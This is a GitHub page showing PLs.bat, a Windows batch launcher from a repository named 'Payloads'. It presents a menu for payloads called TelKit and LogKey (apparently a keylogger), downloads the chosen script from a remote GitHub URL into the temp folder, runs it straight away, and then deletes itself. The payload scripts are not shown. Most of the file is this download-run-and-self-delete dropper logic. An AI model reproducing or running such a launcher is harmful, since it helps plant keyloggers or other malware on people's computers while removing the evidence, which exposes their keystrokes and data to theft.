-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPLs.bat
133 lines (101 loc) · 3.47 KB
/
PLs.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
@echo off
title Payloads
:: --------------------- CONFIGURATION VARIABLES ---------------------
set "version="
set "debug=0"
set "prefix=https://raw.githubusercontent.com/Jed556/Payloads/main/"
set "folder=%temp%"
set "file=r.bat"
set "dir=%folder%/%file%"
:: -------------------------------------------------------------------
:: ------------------------- GET VERSION INFO ------------------------
if "%version%"=="" (
curl -Lso v.pls %prefix%VERSION
set /p version=<v.pls
del /Q /F v.pls
)
:: -------------------------------------------------------------------
:: ------------------------- CHECK ARGUMENTS -------------------------
if "%2"=="1" (
set "debug=1"
)
:: -------------------------------------------------------------------
:: ------------------------------- ART -------------------------------
:Art
setlocal EnableDelayedExpansion
set "s=!version!"
set "len=0"
for /l %%i in (0,1,8192) do (
set "c=!s:~%%i,1!"
if not defined c goto :done
set /a "len+=1"
)
:done
set /a length=31-len
set padding=
for /l %%i in (1,1,%length%) do set padding=!padding!
:: Display art
cls
echo.
echo. [0;34m^| [1;36m /####### /## [0m [0;34m^|[0m
echo. [0;34m^| [1;36m^| ##__ ##^| ## [0;36m /####### [0m [0;34m^|[0m
echo. [0;34m^| [1;36m^| ## \ ##^| ## [0;36m /##_____/ [0m [1;37mPayloads[0m (%version%)!padding![0m[0;34m^|[0m
echo. [0;34m^| [1;36m^| #######/^| ## [0;36m ^| ###### [0m [4mgit.luolix.top/Jed556/Payloads[0m [0;34m^|[0m
echo. [0;34m^| [1;36m^| ##____/ ^| ## [0;36m \____ ## [0m [1;32mLauncher[0m [0;34m^|[0m
echo. [0;34m^| [1;36m^| ## [0;36m /#################/ [0m [0;34m^|[0m
echo. [0;34m^| [1;36m^|__/ [0;36m/_________________/ [0m [0;34m^|[0m
echo.
endlocal
:: -------------------------------------------------------------------
:: ---------------------------- MAIN CODE ----------------------------
::echo %batchName% Arguments: P1=%1 P2=%2 P3=%3 P4=%4 P5=%5 P6=%6 P7=%7 P8=%8 P9=%9
:: Payload Selection
:Selection
if [%1]==[] (
echo Payloads & Commands
echo [1;37m[1][0m TelKit
echo [1;37m[2][0m LogKey
echo [1;37m[3][0m GitHub ^(Docs^)
echo [1;37m[4][0m Exit
echo.
set /p "input=Enter selection index: "
) else (
set "input=%1"
)
if %input%==3 (
echo Opening GitHub...
start https://github.com/Jed556/Payloads
echo [1;32mOpened GitHub[0m
timeout /t 30
goto :Art
)
if %input%==4 (
echo Exiting...
goto :End
)
if %input%==1 (
set "src=TelKit/telkit.bat"
goto Curl
)
if %input%==2 (
set "src=LogKey/logkey.bat"
goto Curl
)
echo Invalid input. Press any key to try again...
pause > nul
goto Art
:: Download and launch payload
:Curl
set "url=%prefix%%src%"
for /f "tokens=1 delims=/" %%a in ("%url%") do set "payload=%%a"
echo Downloading %payload%...
shift
cmd /c curl -Lo %dir% %url% & %dir% %*
echo Launched
:: Exit and delete self
:End
echo.
echo Bye...
timeout /t 2 > nul
del /Q /F "%~f0" & exit
:: -------------------------------------------------------------------